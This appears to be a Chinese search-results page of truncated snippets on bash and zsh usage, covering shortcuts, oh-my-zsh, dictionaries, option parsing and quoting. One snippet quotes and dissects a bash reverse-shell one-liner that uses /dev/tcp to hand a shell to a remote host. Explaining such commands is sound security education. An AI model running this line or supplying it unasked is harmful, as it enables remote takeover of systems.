bash 和 zsh 命令行终端都非常流行,后者尤为“精妙”。...比如: 使用 [Ctrl][K] 可以清除光标之后当前行中的字符 [Ctrl][U] 在 bash 和 zsh 则有所区别,前者会清除光标之前的字符,而后者则会清除整行 要清除光标之前的一个单词,使用...[Ctrl][W] 要撤销之前的若干次 [Ctrl][W],使用 [Ctrl][Y] 也可以使用 [Ctrl][R] 快速搜索历史,按下这个快捷键后,你将得到一个可以上下选择的历史命令列表,以及一个进一步筛选的光标输入位置...若在光标位置输入你想搜寻的命令,比如 ssh,则历史列表被过滤为只匹配 ssh 的结果;此时再次按下 [Ctrl][R] 则列表恢复为所有历史命令。...移动光标选中某条命令后,按回车键,所选命令就会出现在当前行中。
为例: 查看系统当前使用的shell 查看系统是否安装了zsh centos7默认情况下没安装zsh 用yum安装zsh 查看shell列表 切换shell为zsh 重启服务器后,可使用reboot...重启后,查看当前shell 安装 oh my zsh oh-my-zsh源码是放在github上,先确保你的机器上已安装了git 安装: 成功界面: 接下来只需简单的配置,就可以享受oh-my-zsh...的强大 主题选择 oh-my-zsh有很多漂亮的主题: 主题列表 我使用的主题是ys image http://blog.ysmood.org/my-ys-terminal-theme/ http://...blog.ysmood.org/my-ys-terminal-theme/ 修改主题: 将ZSH_THEME改成ys 更新配置: 自动补齐插件 linux不少命令的参数很多,不可能一一记住,常规的查看手册又觉得慢...如果你也有这种苦恼,那么我相信你会爱上oh-my-zsh的 一图胜千言 image 自动补全的插件 incr.zsh 补全插件 下载此插件: 将此插件放到oh-my-zsh目录的插件库下: 在~/.zshrc
文章目录 Bash shell 中的字典 一 背景 二 脚本 三 总结 Bash shell 中的字典 一 背景 在一些运维工作中,使用字典能让当前工作事半功倍,类似 Python ,...在 GNU bash 4.2.46 中,我们也可以很方便的使用字典来完成一些工作了。...本文以一段 bash shell 为例展示一下 Bash 中字典的使用。 二 脚本 #!.../bin/bash # Declare a dictionary. declare -A Host Host=( [node1]='10.1.1.11' [node2]='10.1.1.12' [node3...三 总结 脚本的注释解释了后面相关代码的功能。通过脚本,我们对 Bash 中的字典有了一些新的认识。
对于bash反弹shell这条命令,相信很多同学都很熟悉了: /bin/bash -i >& /dev/tcp/192.168.21.1/XXX 0>&1 但是这里面的每个细节是否都清楚了,这可就不一定了...关于-i root@instance-2:~# man bash | grep -E "\-i" -i If the -i option is present, the shell...首先-i是交互的模式,这个好像是必须的,但是真的吗,其实不用-i也是可以的 因为本来bash就是交互式的吧 关于>& root@kali:~# man bash | grep "Redirecting...看bash的文档,可以看到,这个是将标准输出和标准错误都重定向了 跟 >word 2>&1的效果是一致的 当然我们用&>也是可以的 关于0>&1 0>1是将标准输入重定向到文件名为1的文件,不存在就创建...的ip这么多,端口是1-65535,这是多么庞大的一个组合 那么这是可能只是bash的特性,我们可以从man文档中看到 root@instance-2:~# man bash | grep "/dev/
-c :将目前的 shell 中的所有 history 内容全部消除 -a :将目前新增的 history 指令新增入 histfiles 中,若没有加 histfiles , 则预设写入 ~/.bash_history...-r :将 histfiles 的内容读到目前这个 shell 的 history 记忆中; -w :将目前的 history 记忆内容写入 histfiles 中!...为什么要介绍 login, non-login shell 呢?这是因为这两个取得 bash 的情况中,读取的配置文件数据 并不一样所致。...在 CentOS 7.x 中,这个目录底 下的文件规范了 bash 操作接口的颜色、 语系、ll 与 ls 指令的命令别名、vi 的命令别名、which 的命令别名等等。...都可以将配置文件的内容读进来目前的 shell 环境中!
Bash 中的选项解析 在 Bash 中解析选项的策略是循环遍历所有传递给 shell 脚本的参数,确定它们是否是一个选项,然后转向下一个参数。重复这个过程,直到没有选项为止。 #!...在 Bash 中检测参数 但上面的脚本还有一个问题:多余的参数被忽略了。 $ bash ..../test.sh --alpha foo 1 $ 要想捕获非选项名的参数,可以将剩余的参数转储到 Bash 数组 中。 #!.../test.sh -a --config my.conf baz 1 my.conf baz Bash 让选项解析变得简单 还有一些其他方法也可以解析 Bash 中的选项。...你可以替换使用 case 语句或 getopt 命令。无论使用什么方法,给你的用户提供选项都是应用程序的重要功能,而 Bash 让解析选项成为了一件简单的事。
在众多Linux发行版中bash shell 可谓是随处可见。作为众多发行版的首选shell,对于bash shell的学习对我们来说,显得格外重要。...在学习bash shell的过程中,bash、sh、source及英文输入状态下的点号经常交替出现,他们看起来作用都差不多,但是深究下去,他们也有着不小的区别与联系。...查看shell的历史我们可以知道,我们通常所说的bash shell(bash)全称为GNU Bourne-Again SHell。在目前的发行版中,sh已经成为bash的一个软连接。...四、结论 bash与sh在对于脚本执行来说,效果一致,不继承除了当前shell之外的变量值。在无空格“.”且有执行权限的脚本执行中,效果与bash及sh一致。...[root@Geeklp-BashShell ~]# bash --posix bash-4.2# 在上文中,我们能够看到sh是bash的一个软连接,但是单独输入bash和sh命令时,所呈现的效果却不一致
bash shell 中,$* 与 $@ 的区别与联系 让我们来看两段脚本及其运行结果。 脚本1 : #!.../bin/bash for num1 in $* ; do echo '------------show:$*-----------'; echo 'Show $*:'${num1}.../bin/bash for num1 in "$*" ; do echo '------------show:$*-----------'; echo 'Show $*:'${num1...也就是说:$* 是带了引号分割的;$@ 是没有带引号分割的,原模原样的字符串。使用的时候注意区分即可。...gysl@gysl-dev ~]$ for a in "${array[@]}";do let sum+=${a};done&&echo ${sum} 7 总结一下:可以看到不加引号时,二者都是返回传入的参数
常用的内置命令忽略,来看看shell编程中其他一些重要的内置命令: 1、help:显示所有内置命令列表,或显示一个具体命令的用法。...或 source :在现行shell中执行shell程序 例子: 编辑脚本文件a_var.sh: #!/bin/bash a=31 保存退出后回到终端,修改a_var.sh的权限并输入命令: ....$a 其输出结果为: 31 第一种方式执行a_var.sh,bash会创建一个shell去执行,当子shell执行完成后,它的变量a会被系统收回。...结果为:/home/kelvin/.bash_history HISTFILESIZE:设置历史命令文件命令的最大个数,超过这个个数,序号在前的命令记录就会被删除...HISTSIZE:设置终端中交互式命令的历史记录个数。
-p 列出所有的shell赋予程序的环境变量。 用户登录到Linux系统后,系统将启动一个用户shell。在这个shell中,可以使用shell命令 或声明变量,也可以创建并运行shell脚本程序。...在子shell中定义的变量只在该子shell内有效。...命令对已定义的变量进行输出。...export命令将使系统在创建每一个新的shell时,定义这个变量的一个拷贝。 这个过程称之为变量输出。...结论: 1、执行脚本时是在一个子shell环境运行的,脚本执行完后该子shell自动退出; 2、一个shell中的系统环境变量会被复制到子shell中(用export定义的变量); 3、一个shell中的系统环境变量只对该
引号是 Linux shell 中的“特殊功能”,它可能会让人感到困惑,特别是如果您不熟悉 Linux 命令和 shell 脚本。 我将解释不同类型的引号字符及其在 shell 脚本中的用法。...1.单引号 Shell 中的单引号会忽略其中所有类型的特殊字符,单引号之间的所有内容都被视为一个元素。 让我们举个例子,这是一个示例文本文件,其中包含 90 年代的一些板球运动员。...让我们在 shell 中声明一个变量,如果用 $ 回显变量名称,它会显示变量的值。...反引号 此列表中的最后一个是反引号,它具有特殊含义。它用于命令替换。 shell 具有此命令替换功能,其中指定的命令被替换为命令的输出。...[202204081703625.png] 不再推荐反引号 多年来,反引号用于 Shell 脚本中的命令替换,但是现在,现代 UNIX 和 Linux 系统更喜欢这种$(command)结构。
我们将一些shell规定的语法与命令,再搭配正则表达式、管道命令与数据流重定向等功能,写成一个纯文本文件以达到我们想要的处理目的,再配以“.sh”的扩展名,这便是“Shell script”了。...简言之,我们只有通过Shell 这个工具来解释我们的命令等请求,我们才能成功实现与计算机的交流,同时再搭配Shell script可以批量处理命令的“程序”,我们就可以与计算机更优雅的交流哟!...所以,我们就不难理解Linux中的shell有多种类型了吧,这其中最常用的几种是 Bourne shell(sh)、Bourne Again shell(bash) 和 Debian Almquist...Bash放在/bin/bash 中,它有许多特色,可以提供如命令补全、命令编辑和命令历史表等功能,有灵活和强大的编程接口,同时又有很友好的用户界面。...而且在Redhat系列的Linux 操作系统中的 /bin/sh 是 /bin/bash 的符号链接。所以,用 sh执行脚本和bash 执行脚本,效果是一样的。所以我们通常会在脚本第一行写 #!
--version zsh 5.0.2 (x86_64-redhat-linux-gnu) 两者之间的对比: bash : 除了sh就是它是最常用的shell,使用广泛多数发行版系统默认是bash zsh...} #4.补全函数绑定到具体的shell脚本中 complete -F _Testcmd Testcmd end zsh示例可编程补全:接下来定义的函数与变量跟 bash 示例相似 words 相当于...bash 中的 COMP_WORDS CURRENT 与 bash 中的 COMP_CWORD 类似 COMPREPLY 则和 compadd 这个内置的 zsh 命令相同 # 步骤1 cat > ~...在Linux中的Shell终端里我们也可以将前面的命令进行复用,下面我们将先从设置历史变量以及如何查看、搜索、以及前后移动历史说起; 设置历史记录 描述:无论是 bash 还是 zsh,都能够将我们已经执行过的命令存储到一个文件中...*实现上一条命令的所有参数 $ ls src code #cp 命令中的 !* 跟 src code 同样,它表示两个参数都要引用。 $ cp -r !
Shell脚本中最有用的特性之一就是可以从命令输出中提取信息,并将其赋给变量。有两种方法可以将命令输出赋值给变量。 反引号字符(`) 反引号字符位于键盘上ESC键的下面。...赋值给变量的形式如下: test=`date` # demo $ test=`date` $ echo $test 2017年 1月11日 星期三 21时26分04秒 CST 两个反引号字符之间是shell...命令,shell命令的执行结果赋值给test,注意=两边不能有空格。...$()形式 赋值给变量的形式如下: test=$(date) # demo $ test=$(date) $ echo $test 2017年 1月11日 星期三 21时26分35秒 CST
大家好,又见面了,我是你们的朋友全栈君。 新建test.txt,写入: 循环10次。...i=1; while [ $(($i)) -le 10 ]; do i=$(($i + 1)); echo $i; done; 执行这个文件 adb shell < test.txt 发布者:全栈程序员栈长
5.0.2 (x86_64-redhat-linux-gnu) 两者之间的对比: bash : 除了sh就是它是最常用的shell,使用广泛多数发行版系统默认是bash zsh: 用户的交互功能比bash...} #4.补全函数绑定到具体的shell脚本中 complete -F _Testcmd Testcmd end zsh示例可编程补全:接下来定义的函数与变量跟 bash 示例相似 words 相当于...bash 中的 COMP_WORDS CURRENT 与 bash 中的 COMP_CWORD 类似 COMPREPLY 则和 compadd 这个内置的 zsh 命令相同 # 步骤1 cat > ~...在Linux中的Shell终端里我们也可以将前面的命令进行复用,下面我们将先从设置历史变量以及如何查看、搜索、以及前后移动历史说起; 设置历史记录 描述:无论是 bash 还是 zsh,都能够将我们已经执行过的命令存储到一个文件中...*实现上一条命令的所有参数 ls src code#cp 命令中的 !* 跟 src code 同样,它表示两个参数都要引用。 cp -r !
[2] shell有哪些?Zsh和Bash的区别是什么?...shell shell 提供了一个与系统进行交互的环境,它可以运行各种命令,并返回对应的输出。基本的shell 的功能还包括管理前后端的进程,以及查看命令历史,命令行内容编辑的功能。...比较有名的shell 包括bash、zsh、sh 等。其中bash 之前是mac 的默认终端,现在也是zsh了。而zsh,则因其鼎鼎有名的项目 oh my zsh 而广为流行。...但console,感觉各种定义也并不完全一致,比如R studio 或vs code 中,直接和python 或R 交互的窗口就是console。...zsh zsh能基本完美兼容bash的命令,并且使用起来更加优雅。
$SHELL 在 linux 中,有许多的 shell 工具,比如: bash1 图片 zsh2 图片 sh 而 bash 是 linux 系统内置的 shell,我们可以通过环境变量 SHELL...$ echo $SHELL /bin/bash 5....前置环境变量 在执行命令之前置入环境变量,可以用以指定仅在该命令中有效的环境变量。...,如 $ NODE_ENV=production npm run build 参考资料 [1] bash:https://www.gnu.org/software/bash/ [2] zsh:https...://www.zsh.org/
常用Bash shell快捷键 Ctrl + a :移到命令行首 Ctrl + e :移到命令行尾 Ctrl + c :删除整行 Ctrl + d :删除光标所在处字符 Alt(或option) + f...:按单词前移(右向) Alt(或option) + b :按单词后移(左向) Ctrl + xx:在命令行首和光标之间移动 Ctrl + u :从光标处删除至命令行首 Ctrl + k :从光标处删除至命令行尾...-v:输出不带关键字的行(反向查询,反向匹配) -w:匹配整个单词,如果是字符串中包含这个单词,则不作匹配 -Ax:在输出的时候包含结果所在行之后的指定行数,这里指之后的x行,A:after -Bx:在输出的时候包含结果所在行之前的指定行数...[options] xxx.tar xxx 解压一个tar文件:tar [options] xxx.tar base64编码解码 base64编码 base64 file:从指定的文件file中读取数据...将字符串string编码为base64的字符串然后输出; base64解码 base64 -d file:从指定的文件file中读取已经过base64编码的数据,然后进行解码,并输出解码后的字符串; echo
领取专属 10元无门槛券
手把手带您无忧上云